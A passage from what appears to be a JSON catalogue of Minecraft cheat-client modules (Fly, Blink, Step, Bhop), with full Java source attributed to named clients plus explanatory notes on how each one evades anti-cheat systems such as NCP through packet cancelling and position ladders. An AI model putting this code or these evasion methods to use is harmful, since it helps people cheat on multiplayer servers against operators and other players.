Consumer<PacketOutEvent> eventConsumer11 = (event) -> {\n        if (event.getPacket() instanceof C0FPacketConfirmTransaction) {\n            event.cancel();\n\n            timer.reset();\n        }\n        \n        if (event.getPacket() instanceof C00PacketKeepAlive) {\n            event.cancel();\n\n            timer.reset();\n        }\n    };\n\n    @Override\n    public void onEnable() {\nif(this.isMode(\"Damage\")) {\n    \tmc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX,\n\t\t\t\tmc.thePlayer.posY + 3.05, mc.thePlayer.posZ, false));\n\t\tmc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX,\n\t\t\t\tmc.thePlayer.posY, mc.thePlayer.posZ, false));\n\t\tmc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX,\n\t\t\t\tmc.thePlayer.posY + 0.41999998688697815, mc.thePlayer.posZ, true));\n\t\tmc.thePlayer.setPosition(mc.thePlayer.posX, mc.thePlayer.posY + 0.5, mc.thePlayer.posZ);\n\t\t}\n    }\n\n    @Override\n    public void onDisable() {\n\n    \tMovementUtils.setMoveSpeed(0);\n    \t\n    }\n}\n\n\n// NOTE (AI): Three flight families in one file. Vanilla mode is client-side physics only: it drives motionY and horizontal speed and sends no packets at all, with an anti-kick fall/ascend packet pair every 700ms so the server keeps receiving vertical oscillation. Damage mode floods C0CPacketInput + C03(true) every pre tick and triggers the fall-damage self-hit on enable with the canonical C04 ladder (y+3.05 false, y false, y+0.41999998688697815 true), which grants the damage boost that lets flight bypass NCP's flight checks. Verus mode uses a C08 block placement below the player plus motionY=0. The PacketOutEvent handler cancels C0FPacketConfirmTransaction and C00PacketKeepAlive entirely, which is what lets the position stream survive on servers that correlate transaction timing.\n",
      "code_source": "Nekoware v1 private, me/nekoWare/client/module/movement/Fly.java",
      "vanilla_hook": "UpdateEvent for physics, PacketOutEvent for the keepalive/transaction cancel, onEnable for the damage ladder.",
      "anti_cheat_notes": "The damage ladder leaves a fallDistance anomaly and requires taking fall damage at enable; the periodic anti-kick packets produce a Y sawtooth that NCP's flight check averages out over time. Cancelling C0F/C00 freezes ping and transaction state, which itself is a flag on transaction-aware servers.",
      "variations": "Rise 5.99's Fly is a 2000+ line multi-mode module covering packet, ground, damage, S08-cancel and anti-cheat-specific variants. Rise 6.x ships 13+ named flight modes (AstralMC, BlockDrop, BufferAbuse, Creative, Funcraft, Grim, LatestNCP, MMC, MineLand, Vulcan, Watchdog). Sigma's Fly has multiple packet modes plus PremiumFlyAddon. Spicy's Fly mirrors BackupFly's 0.0624986421/0.0625/0.0000013579 C04 offset ladder. Tenacity's FlightModule sends C04 +0.3/+0.1 offsets and C03(false). LiquidSense Dev covers the family with the AquaVit HYT modules (HYTFly, HYTHighJump, HYTLongJump, HYTRun, HYTSpeed, Flight1, LastestHypixelFly, ShipGod, Stair) on top of the LiquidBounce-core Fly. The HYT modules cancel C03 subclasses and buffer them while airborne, LastestHypixelFly cancels C03 until an S08 arms the fly window, Stair climbs with C04 ladders, and ShipGod steers a ridden target with C04/C06 sends."
     },
     {
      "name": "Blink",
      "found_in": [
       "Rise 5.99",
       "Rise 6.1.30",
       "Rise 6.2.4",
       "Sigma 4.11",
       "Spicy",
       "Tenacity 6.0",
       "LiquidSense Dev"
      ],
      "purpose": "Freeze the server-side player by buffering every C03 (or every packet) and replaying the queue in order on disable, creating fake lag.",
      "how_it_works": "On PacketSendEvent, with All Packets on, every outgoing packet is parked in a ConcurrentLinkedQueue and cancelled; with it off only C03PacketPlayer (and its subclasses) is held. Pulse mode flushes the queue every N ticks with a 10% random skip to bound the blink windows. onDisable replays everything with sendPacketWithoutEvent in FIFO order. An optional EntityOtherPlayerMP renders the frozen position to other players.",
      "detailed_code": "// ===== FILE: Rise 5.99, dev/rise/module/impl/player/Blink.java =====\n/*\n Copyright Alan Wood 2021\n None of this code to be reused without my written permission\n Intellectual Rights owned by Alan Wood\n */\npackage dev.rise.module.impl.player;\n\nimport dev.rise.event.impl.motion.PreMotionEvent;\nimport dev.rise.event.impl.packet.PacketSendEvent;\nimport dev.rise.event.impl.render.Render3DEvent;\nimport dev.rise.module.Module;\nimport dev.rise.module.api.ModuleInfo;\nimport dev.rise.module.enums.Category;\nimport dev.rise.setting.impl.BooleanSetting;\nimport dev.rise.setting.impl.NumberSetting;\nimport dev.rise.util.player.PacketUtil;\nimport dev.rise.util.render.RenderUtil;\nimport net.minecraft.client.entity.EntityOtherPlayerMP;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.util.Vec3;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.concurrent.ConcurrentLinkedQueue;\n\n/**\n * This module basically is fake lag, when enabled it cancels every packet and stores them on a list with an ORDER.\n * When the module is disabled all the packets are quickly sent with order.\n * <p>\n * This module has a setting which allows it to only cancel position packets in order to blink infinitely.\n * However this has a cost of being easily detectable with basic checks.\n */\n@ModuleInfo(name = \"Blink\", description = \"Lags you serverside\", category = Category.PLAYER)\npublic final class Blink extends Module {\n\n    private final BooleanSetting allPackets = new BooleanSetting(\"All Packets\", this, true);\n    private final BooleanSetting showPlayer = new BooleanSetting(\"Show Player\", this, false);\n    private final ConcurrentLinkedQueue<Packet<?>> packets = new ConcurrentLinkedQueue<>();\n\n    private final BooleanSetting pulse = new BooleanSetting(\"Pulse\", this, false);\n    private final NumberSetting delayPulse = new NumberSetting(\"Pulse Delay\", this, 20, 4, 100, 0.1);\n    private final BooleanSetting randomisePulse = new BooleanSetting(\"Randomise Pulse\", this, false);\n\n    private EntityOtherPlayerMP blinkEntity;\n\n    List<Vec3> path = new ArrayList<>();\n\n    @Override\n    public void onPacketSend(final PacketSendEvent event) {\n        if (mc.thePlayer == null || mc.thePlayer.isDead || mc.isSingleplayer() || mc.thePlayer.ticksExisted < 150) {\n            packets.clear();\n            return;\n        }\n\n        if (allPackets.isEnabled()) {\n            packets.add(event.getPacket());\n            event.setCancelled(true);\n        } else {\n            if (event.getPacket() instanceof C03PacketPlayer) {\n                packets.add(event.getPacket());\n                event.setCancelled(true);\n            }\n        }\n\n        if (pulse.isEnabled() && event.getPacket() instanceof C03PacketPlayer) {\n            if (!packets.isEmpty() && mc.thePlayer.ticksExisted % (int) delayPulse.getValue() == 0 && Math.random() > 0.1) {\n                packets.forEach(PacketUtil::sendPacketWithoutEvent);\n                packets.clear();\n            }\n        }\n    }\n\n    @Override\n    public void onPreMotion(final PreMotionEvent event) {\n        if (mc.thePlayer.ticksExisted < 150) return;\n\n        if (mc.thePlayer.lastTickPosX != mc.thePlayer.posX || mc.thePlayer.lastTickPosY != mc.thePlayer.posY || mc.thePlayer.lastTickPosZ != mc.thePlayer.posZ) {\n            path.add(new Vec3(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ));\n        }\n\n        if (pulse.isEnabled()) {\n            while (path.size() > (int) delayPulse.getValue()) {\n                path.remove(0);\n            }\n        }\n\n        if (pulse.isEnabled() && blinkEntity != null) {\n            mc.theWorld.removeEntityFromWorld(blinkEntity.getEntityId());\n        }\n    }\n\n    @Override\n    public void onRender3DEvent(final Render3DEvent event) {\n        RenderUtil.renderBreadCrumbs(path);\n    }\n\n    @Override\n    protected void onEnable() {\n        path.clear();\n\n        if (!pulse.isEnabled() && showPlayer.isEnabled()) {\n            blinkEntity = new EntityOtherPlayerMP(mc.theWorld, mc.thePlayer.getGameProfile());\n            blinkEntity.setPositionAndRotation(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, mc.thePlayer.rotationYaw, mc.thePlayer.rotationPitch);\n            blinkEntity.rotationYawHead = mc.thePlayer.rotationYawHead;\n            blinkEntity.setSprinting(mc.thePlayer.isSprinting());\n            blinkEntity.setInvisible(mc.thePlayer.isInvisible());\n            blinkEntity.setSneaking(mc.thePlayer.isSneaking());\n\n            mc.theWorld.addEntityToWorld(blinkEntity.getEntityId(), blinkEntity);\n        }\n    }\n\n    @Override\n    protected void onDisable() {\n        packets.forEach(PacketUtil::sendPacketWithoutEvent);\n        packets.clear();\n\n        if (showPlayer.isEnabled()) {\n            if (blinkEntity != null) {\n                mc.theWorld.removeEntityFromWorld(blinkEntity.getEntityId());\n            }\n        }\n    }\n\n    @Override\n    public void onUpdateAlwaysInGui() {\n        delayPulse.hidden = !pulse.enabled;\n        showPlayer.hidden = pulse.enabled;\n    }\n}\n\n\n// NOTE (AI): The canonical buffer-and-release implementation. With All Packets on, every serverbound packet is parked in a ConcurrentLinkedQueue and cancelled; with it off, only C03PacketPlayer (including C04/C05/C06 subclasses, since they extend it) is held, letting clicks and inventory actions through. Pulse mode flushes the whole queue every N ticks with a 10% random skip so the blink windows are bounded and irregular. On disable, packets.forEach(PacketUtil::sendPacketWithoutEvent) replays everything in FIFO order, and the optional EntityOtherPlayerMP renders where the player 'was' for observers. The 150-tick guard clears the queue on world join, and singleplayer is excluded outright.\n",
      "code_source": "Rise 5.99, dev/rise/module/impl/player/Blink.java",
      "vanilla_hook": "PacketSendEvent (queue + cancel), PreMotionEvent (pulse bookkeeping), onDisable (flush).",
      "anti_cheat_notes": "Any anti-cheat that measures the gap between movement packets flags long blinks; pulse mode bounds the gap and the random skip breaks periodicity. The flushed burst is also a tell, since the server sees a jump in position on release.",
      "variations": "Rise 6.x moves this into BlinkComponent and MovementBlinkComponent (position-only) shared by Blink, BlinkAntiVoid and WatchdogAntiVoid. Sigma's Blink cancels C03 and C00 together on outgoing pre. Spicy's Blink cancels outgoing packets on its EventSendPacket. Tenacity's Blink event handles the C04/C05/C06 subclasses separately. LiquidSense Dev's Blink cancels C03 and the C04/C06/C08/C0A/C0B/C02 set into a LinkedBlockingQueue, renders a breadcrumb trail, spawns a fake player when pulse is off, and flushes via getNetworkManager().sendPacket on the pulse timer or on disable."
     },
     {
      "name": "Step",
      "found_in": [
       "Memeware 7.3",
       "Nekoware v1 private",
       "Rise 5.99",
       "Rise 6.1.30",
       "Rise 6.2.4",
       "Sigma 4.11"
      ],
      "purpose": "Climb blocks higher than the vanilla 0.6 limit by reporting intermediate C04 positions that hide the vertical delta.",
      "how_it_works": "Nekoware's NCP mode watches the ClimbSlabEvent; when the bounding box has risen past 0.6, it sends C04 at y+0.42 and y+0.75 with onGround false, then drops timerSpeed to 0.4 for two ticks so the faster climb does not trip horizontal speed checks. Vanilla mode just sets stepHeight locally. The 0.42/0.75 pair mirrors the NCP speed/bhop arc, which is why the module refuses to run while the client's Speed module is on.",
      "detailed_code": "// ===== FILE: Nekoware v1 private, me/nekoWare/client/module/movement/Step.java =====\npackage me.nekoWare.client.module.movement;\n\nimport me.hippo.api.lwjeb.annotation.Handler;\nimport me.nekoWare.client.Nekoware;\nimport me.nekoWare.client.event.events.ClimbSlabEvent;\nimport me.nekoWare.client.event.events.UpdateEvent;\nimport me.nekoWare.client.module.Module;\nimport net.minecraft.network.play.client.C03PacketPlayer;\n\nimport java.util.function.Consumer;\n\npublic class Step extends Module {\n\n    private int timerSlow;\n    private float height;\n\n    public Step() {\n        super(\"Step\", 0, Module.Category.MOVEMENT);\n        this.addModes(\"Vanilla\", \"NCP\");\n        this.addDouble(\"Height\", 1, 1, 10);\n    }\n\n    @Override\n    public void onDisable() {\n        mc.thePlayer.stepHeight = 0.6F;\n    }\n\n    @Handler\n    public Consumer<UpdateEvent> eventConsumer = (event) -> {\n        height = this.getDouble(\"Height\").floatValue();\n\n        if (isMode(\"Vanilla\")) {\n            mc.thePlayer.stepHeight = height;\n        } else {\n            mc.thePlayer.stepHeight = 0.6F;\n        }\n    };\n\n    @Handler\n    public Consumer<ClimbSlabEvent> eventConsumer0 = (event) -> {\n        if (isMode(\"NCP\")) {\n            double posX = mc.thePlayer.posX;\n            double posY = mc.thePlayer.posY;\n            double posZ = mc.thePlayer.posZ;\n            if (event.isPre() && !Nekoware.INSTANCE.getModuleManager().getModule(\"Speed\").isToggled()) {\n                event.setStepHeight(1.0F);\n            } else {\n                double height = mc.thePlayer.getEntityBoundingBox().minY - mc.thePlayer.posY;\n                if (height > 0.6F && height <= 1.0F) {\n                    float[] values = { 0.42F, 0.75F };\n                    for (float value : values)\n                        mc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(posX, posY + value, posZ, false));\n                    mc.timer.timerSpeed = 0.4F;\n                }\n                timerSlow = 2;\n            }\n        }\n    };\n\n    @Handler\n    public Consumer<UpdateEvent> eventConsumer1 = (event) -> {\n        if (isMode(\"NCP\")) {\n            if (timerSlow <= 0 && timerSlow >= -2) {\n                mc.timer.timerSpeed = 1.0F;\n            }\n            timerSlow--;\n        }\n    };\n\n}\n\n\n// NOTE (AI): The NCP mode is a pure C04 ladder: when the client-side bounding box rose more than 0.6 blocks (the vanilla step limit), it sends C04 y+0.42 false then y+0.75 false, and drops timerSpeed to 0.4 for two ticks. The server accepts the 1.0-block step because the client reports the intermediate positions, and the timer slowdown hides the resulting speed spike from horizontal checks. Vanilla mode just raises the local stepHeight, which works on servers that do not simulate stepping server-side. This is the same offset pair (0.42/0.75) used by NCP-speed and bhop modules, which is why the module disables itself while the client's Speed module is toggled.\n",
      "code_source": "Nekoware v1 private, me/nekoWare/client/module/movement/Step.java",
      "vanilla_hook": "ClimbSlabEvent for the packet ladder; UpdateEvent for stepHeight and timer restore.",
      "anti_cheat_notes": "The server accepts the ladder because each reported position is within one tick's plausible delta; the timer slowdown hides the effective vertical speed. Checks that simulate stepping independently (Matrix, Vulcan) flag the 1.0-block rise regardless of the ladder.",
      "variations": "Memeware's Step is the same packet ladder lineage. Rise 5.99 sends C04 at d plus random/2000. Rise 6.x splits NCPStep (d plus random/2000), NewNCPStep, MatrixStep (exact float ladder 0.41999998688698, 0.7531999805212, 1.00133597911215, 1.42133596599913, 1.75453595963335, 2.0026719582243), VulcanStep (single +0.5) and WatchdogStep (packet rewrite). Sigma sends first/second/off C04 ladders plus a C06 look variant."
     },
     {
      "name": "Speed / Bhop",
      "found_in": [
       "Rise 5.99",
       "Rise 6.1.30",
       "Rise 6.2.4",
       "Sigma 4.11",
       "Spicy",
       "LiquidSense Dev"
      ],
      "purpose": "Move faster than vanilla sprint by manipulating jump arcs, timer speed and the movement packets the client emits.",
      "how_it_works": "Spicy's Bhop Hypixel mode sets noClip, jumps on a 0.00004 ground check, and runs 26.5 tps plus random jitter in air so the vanilla C03 emission carries an accelerated trajectory. Test 3 mode drives EventMove directly: motionY 0.41999998688697815 on ground, speed seeded at forward*2.1500000953674316 and decayed by speed/165 per air tick, plus a random 1.0E-5..9.9E-4 Y jitter on ground packets. An S08 setback counter auto-disables after 3 lagbacks in 5 seconds.",
      "detailed_code": "// ===== FILE: Spicy, info/spicyclient/modules/movement/Bhop.java =====\npackage info.spicyclient.modules.movement;\n\nimport java.io.IOException;\nimport java.math.BigDecimal;\nimport java.math.RoundingMode;\nimport java.util.Comparator;\nimport java.util.List;\nimport java.util.Random;\n\nimport org.apache.commons.lang3.RandomUtils;\nimport org.lwjgl.input.Keyboard;\n\nimport info.spicyclient.SpicyClient;\nimport info.spicyclient.chatCommands.Command;\nimport info.spicyclient.events.Event;\nimport info.spicyclient.events.listeners.EventMotion;\nimport info.spicyclient.events.listeners.EventMove;\nimport info.spicyclient.events.listeners.EventOnLadder;\nimport info.spicyclient.events.listeners.EventPacket;\nimport info.spicyclient.events.listeners.EventSendPacket;\nimport info.spicyclient.events.listeners.EventUpdate;\nimport info.spicyclient.modules.Module;\nimport info.spicyclient.notifications.Color;\nimport info.spicyclient.notifications.NotificationManager;\nimport info.spicyclient.notifications.Type;\nimport info.spicyclient.settings.BooleanSetting;\nimport info.spicyclient.settings.ModeSetting;\nimport info.spicyclient.settings.NumberSetting;\nimport info.spicyclient.settings.SettingChangeEvent;\nimport info.spicyclient.util.MovementUtils;\nimport info.spicyclient.util.Timer;\nimport net.minecraft.client.Minecraft;\nimport net.minecraft.entity.player.PlayerCapabilities;\nimport net.minecraft.network.EnumPacketDirection;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C00PacketKeepAlive;\nimport net.minecraft.network.play.client.C02PacketUseEntity;\nimport net.minecraft.network.play.client.C02PacketUseEntity.Action;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.client.C03PacketPlayer.C04PacketPlayerPosition;\nimport net.minecraft.network.play.client.C03PacketPlayer.C06PacketPlayerPosLook;\nimport net.minecraft.network.play.client.C13PacketPlayerAbilities;\nimport net.minecraft.network.play.client.C14PacketTabComplete;\nimport net.minecraft.network.play.client.C15PacketClientSettings;\nimport net.minecraft.network.play.client.C16PacketClientStatus;\nimport net.minecraft.network.play.client.C16PacketClientStatus.EnumState;\nimport net.minecraft.network.play.client.C17PacketCustomPayload;\nimport net.minecraft.network.play.client.C18PacketSpectate;\nimport net.minecraft.network.play.client.C19PacketResourcePackStatus;\nimport net.minecraft.network.play.server.S08PacketPlayerPosLook;\nimport net.minecraft.network.status.client.C00PacketServerQuery;\nimport net.minecraft.potion.Potion;\nimport net.minecraft.util.EnumFacing;\nimport net.minecraft.util.MathHelper;\nimport optifine.MathUtils;\n\npublic class Bhop extends Module {\n\t\n\tpublic ModeSetting mode = new ModeSetting(\"Mode\", \"Vanilla\", \"Vanilla\", \"PvpLands\", \"Hypixel\", \"Test\", \"Test 2\", \"Test 3\");\n\t\n\tpublic NumberSetting hypixelSpeed = new NumberSetting(\"Speed\", 0.01, 0.0001, 0.03, 0.0001);\n\t\n\tprivate static double lastY;\n\tprivate static float rotate = 180;\n\t\n\tprivate static int lagbackCheck = 0;\n\tprivate static long lastLagback = System.currentTimeMillis();\n\t\n\tprivate transient boolean toggle = true;\n\t\n\tpublic Bhop() {\n\t\tsuper(\"Bhop\", Keyboard.KEY_NONE, Category.MOVEMENT);\n\t\tresetSettings();\n\t}\n\t\n\t@Override\n\tpublic void resetSettings() {\n\t\tthis.settings.clear();\n\t\tthis.addSettings(mode, hypixelSpeed);\n\t}\n\t\n\t@Override\n\tpublic void onSettingChange(SettingChangeEvent e) {\n\t\tif (e.setting.getSetting() == mode) {\n\t\t\t\n\t\t\tif (mode.is(\"Hypixel\") || mode.getMode() == \"Hypixel\") {\n\t\t\t\t\n\t\t\t\tif (!this.settings.contains(hypixelSpeed)) {\n\t\t\t\t\tthis.settings.add(hypixelSpeed);\n\t\t\t\t}\n\t\t\t\treorderSettings();\n\t\t\t\t\n\t\t\t}else {\n\t\t\t\t\n\t\t\t\tif (this.settings.contains(hypixelSpeed)) {\n\t\t\t\t\tthis.settings.remove(hypixelSpeed);\n\t\t\t\t}\n\t\t\t\treorderSettings();\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t}\n\t}\n\t\n\tpublic void onEnable() {\n\t\tthis.speed = 0.0D;\n\t\tif (SpicyClient.config.fly.isEnabled()) {\n\t\t\ttoggle();\n\t\t\tNotificationManager.getNotificationManager().createNotification(\"Don't use bhop while fly is enabled!\", \"\", true, 5000, Type.WARNING, Color.RED);\n\t\t}\n\t\t\n\t\tlastY = mc.thePlayer.posY;\n\t}\n\t\n\tpublic void onDisable() {\n\t\tmc.timer.ticksPerSecond = 20f;\n\t\tthis.mc.timer.timerSpeed = 1.00f;\n\t\tstatus = 0;\n\t}\n\t\n\tprivate int status = 0;\n\tprivate boolean boosted = false;\n\t\n    private double speed;\n    private double lastDist;\n    public static int stage;\n    \n    private transient Timer timer = new Timer();\n    \n\tpublic void onEvent(Event e) {\n\t\t\n\t\tif (e instanceof EventPacket) {\n\t\t\t\n\t\t\tif (e.isPre()) {\n\t\t\t\t\n\t\t\t\tEventPacket packetEvent = (EventPacket) e;\n\t\t\t\t\n\t\t\t\tif (packetEvent.packet instanceof S08PacketPlayerPosLook) {\n\t\t\t\t\t\n\t\t\t\t\tif (lagbackCheck >= 3) {\n\t\t\t\t\t\t\n\t\t\t\t\t\tlagbackCheck = 0;\n\t\t\t\t\t\tlastLagback = System.currentTimeMillis() - (5*1000);\n\t\t\t\t\t\tthis.toggle();\n\t\t\t\t\t\tNotificationManager.getNotificationManager().createNotification(this.name + \" has been disabled to prevent flags\", \"\", true, 1000, Type.WARNING, Color.RED);\n\t\t\t\t\t\t\n\t\t\t\t\t}else {\n\t\t\t\t\t\t\n\t\t\t\t\t\tlastLagback = System.currentTimeMillis();\n\t\t\t\t\t\tlagbackCheck++;\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t\n\t\tif (e instanceof EventUpdate) {\n\t\t\t\n\t\t\tif (e.isPre()) {\n\t\t\t\t\n\t\t\t\tif (lastLagback + (5*1000) < System.currentTimeMillis()) {\n\t\t\t\t\t\n\t\t\t\t\tlagbackCheck = 0;\n\t\t\t\t\tlastLagback = System.currentTimeMillis() + (10*1000);\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t\n\t\tif (e instanceof EventUpdate) {\n\t\t\tif (e.isPre()) {\n\t\t\t\tthis.additionalInformation = mode.getMode();\n\t\t\t\t\n\t\t\t\tif (mode.getMode().equalsIgnoreCase(\"Vanilla\") && mc.gameSettings.keyBindForward.pressed) {\n\t\t\t\t\tif (mc.thePlayer.onGround) {\n\t\t\t\t\t\tmc.gameSettings.keyBindJump.pressed = false;\n\t\t\t\t\t\tmc.thePlayer.jump();\n\t\t\t\t\t\tmc.thePlayer.setSprinting(true);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\tif (e instanceof EventMotion) {\n\t\t\t\n\t\t\tif (e.isBeforePost()) {\n\t\t\t\t\n\t\t\t\tEventMotion event = (EventMotion) e;\n\t\t\t\t\n\t\t\t\tif (mode.getMode().equalsIgnoreCase(\"Pvplands\") && !mc.thePlayer.isInWater()) {\n\t\t\t\t\t\n\t\t\t\t\tif (mc.thePlayer.onGround && mc.gameSettings.keyBindForward.pressed) {\n\t\t\t\t\t\tmc.thePlayer.setSprinting(true);\n\t\t\t\t\t\tmc.gameSettings.keyBindJump.pressed = false;\n\t\t\t            mc.thePlayer.jump();\n\t\t\t            mc.thePlayer.jump();\n\t\t\t            mc.thePlayer.setSprinting(true);\n\t\t\t            //mc.thePlayer.motionY = 0.1f;\n\t\t\t\t\t}\n\t\t\t\t\telse if (mc.gameSettings.keyBindForward.pressed) {\n\t\t\t            float f = mc.thePlayer.rotationYaw * 0.017453292F;\n\t\t\t            mc.thePlayer.motionX -= (double)(MathHelper.sin(f) * 0.035F);\n\t\t\t            mc.thePlayer.motionZ += (double)(MathHelper.cos(f) * 0.035F);\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\telse if (mode.getMode().equalsIgnoreCase(\"Pvplands\") && mc.thePlayer.isInWater()) {\n\t\t\t\t\tif (mc.thePlayer.onGround) {\n\t\t\t\t\t\tmc.gameSettings.keyBindJump.pressed = false;\n\t\t\t\t\t\tmc.thePlayer.jump();\n\t\t\t\t\t\tmc.thePlayer.setSprinting(true);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse if (mode.is(\"Hypixel\") && (mc.gameSettings.keyBindForward.pressed || mc.gameSettings.keyBindBack.pressed || mc.gameSettings.keyBindLeft.pressed || mc.gameSettings.keyBindRight.pressed) && (!SpicyClient.config.blockFly.isEnabled() || (SpicyClient.config.killaura.isEnabled() && SpicyClient.config.killaura.target != null) || true)) {\n\t\t\t\t\t\n\t\t\t\t\tmc.gameSettings.keyBindJump.pressed = false;\n\t\t\t\t\t\n\t\t\t\t\tif (!mc.thePlayer.isInWater()) {\n\t\t\t\t\t\t\n\t\t\t\t\t\tmc.thePlayer.noClip = true;\n\t\t\t\t\t\t\n\t\t\t\t\t\tif (MovementUtils.isOnGround(0.00004)) {\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t//MovementUtils.setMotion((float) Math.sqrt(mc.thePlayer.motionX * mc.thePlayer.motionX + mc.thePlayer.motionZ * mc.thePlayer.motionZ) + ((float)hypixelSpeed.getValue() * 15));\n\t\t\t\t\t\t\tmc.thePlayer.jump();\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\te.setCanceled(true);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\tif (MovementUtils.isOnGround(1)) {\n\t\t\t\t\t\t\tmc.timer.ticksPerSecond = 20;\n\t\t\t\t\t\t}else if (mc.thePlayer.fallDistance < 1.5) {\n\t\t\t\t\t\t\tmc.timer.ticksPerSecond = 26.5f + new Random().nextFloat();\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\tmc.thePlayer.setSprinting(true);\n\t\t\t\t\t\t//MovementUtils.strafe((float) Math.sqrt(mc.thePlayer.motionX * mc.thePlayer.motionX + mc.thePlayer.motionZ * mc.thePlayer.motionZ) + 0.01f);\n\t\t\t\t\t\tMovementUtils.setMotion((float) Math.sqrt(mc.thePlayer.motionX * mc.thePlayer.motionX + mc.thePlayer.motionZ * mc.thePlayer.motionZ) + ((float)hypixelSpeed.getValue()));\n\t\t\t\t\t\t\n\t\t\t\t\t}else {\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\telse if (mode.is(\"Hypixel\") && (!!SpicyClient.config.blockFly.isEnabled() || (SpicyClient.config.killaura.isEnabled() && SpicyClient.config.killaura.target != null))) {\n\t\t\t\t\t\n\t\t\t\t\tmc.timer.ticksPerSecond = 20;\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\telse if (mode.is(\"Test\") && (mc.gameSettings.keyBindForward.pressed || mc.gameSettings.keyBindBack.pressed || mc.gameSettings.keyBindLeft.pressed || mc.gameSettings.keyBindRight.pressed)) {\n\t\t\t\t\t\n\t\t\t\t\tmc.gameSettings.keyBindJump.pressed = false;\n\t\t\t\t\t\n\t\t\t\t\tif (!mc.thePlayer.isInWater()) {\n\t\t\t\t\t\t\n\t\t\t\t\t\tmc.thePlayer.noClip = true;\n\t\t\t\t\t\t\n\t\t\t\t\t\tif (!MovementUtils.isOnGround(1)) {\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tmc.thePlayer.motionY = -0.01 + (new Random().nextDouble() / 100);\n\t\t\t\t\t\t\t//e.setCanceled(true);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse if (MovementUtils.isOnGround(0.000000000004)) {\n\t\t\t\t\t\t\tmc.thePlayer.jump();\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\tmc.thePlayer.setSprinting(true);\n\t\t\t\t\t\t//MovementUtils.strafe((float) Math.sqrt(mc.thePlayer.motionX * mc.thePlayer.motionX + mc.thePlayer.motionZ * mc.thePlayer.motionZ) + 0.01f);\n\t\t\t\t\t\tMovementUtils.setMotion((float) Math.sqrt(mc.thePlayer.motionX * mc.thePlayer.motionX + mc.thePlayer.motionZ * mc.thePlayer.motionZ) + ((float)hypixelSpeed.getValue()));\n\t\t\t\t\t\t\n\t\t\t\t\t}else {\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\telse if (mode.is(\"Test 3\")) {\n\t\t\t\t\t\n\t\t\t\t\tif ((!SpicyClient.config.blockFly.isEnabled() || (SpicyClient.config.killaura.isEnabled() && SpicyClient.config.killaura.target != null))) {\n\t\t\t\t\t\t\n\t\t\t\t\t\tif (MovementUtils.isOnGround(1)) {\n\t\t\t\t\t\t\tmc.timer.ticksPerSecond = 20;\n\t\t\t\t\t\t}else if (mc.thePlayer.fallDistance < 3) {\n\t\t\t\t\t\t\tmc.timer.ticksPerSecond = 26.5f + new Random().nextFloat();\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t}else {\n\t\t\t\t\t\t\n\t\t\t\t\t\tmc.timer.ticksPerSecond = 20;\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t\n\t\tif (e instanceof EventMotion && mc.thePlayer.onGround && mode.is(\"Test 3\")) {\n            ((EventMotion)e).setY(((EventMotion)e).getY() + (double)RandomUtils.nextFloat(1.0E-5F, 9.9E-4F));\n        }\n\n        if (e instanceof EventMove && MovementUtils.isMoving() && !mc.thePlayer.isInWater() && e.isBeforePre() && mode.is(\"Test 3\") && (!SpicyClient.config.blockFly.isEnabled() || (SpicyClient.config.killaura.isEnabled() && SpicyClient.config.killaura.target != null))) {\n        \tforward =  0.2873D;\n            if (mc.thePlayer.onGround) {\n                ((EventMove)e).setY(mc.thePlayer.motionY = 0.41999998688697815D);\n                this.speed = forward * 2.1500000953674316D;\n                this.lastDistanceReset = true;\n            } else if (!this.lastDistanceReset && !mc.thePlayer.isCollidedHorizontally) {\n                //this.speed -= this.speed / 159.0D;\n            \tthis.speed -= this.speed / 165.0D;\n            } else {\n                this.speed -= 0.66D * (this.speed - forward);\n                this.lastDistanceReset = false;\n            }\n\n            MovementUtils.setMotion(Math.max(this.speed, forward));\n            ((EventMove)e).setSpeed(Math.max(this.speed, speed));\n        }\n\t\t\n\t}\n\t\n\tpublic static transient float Speed = 0;\n\tpublic static transient boolean lastDistanceReset = false;\n\t\n\tpublic static double roundToPlace(double value, int places) {\n\t\tif (places < 0) {\n\t\t\tthrow new IllegalArgumentException();\n\t\t} else {\n\t\t\tBigDecimal bd = new 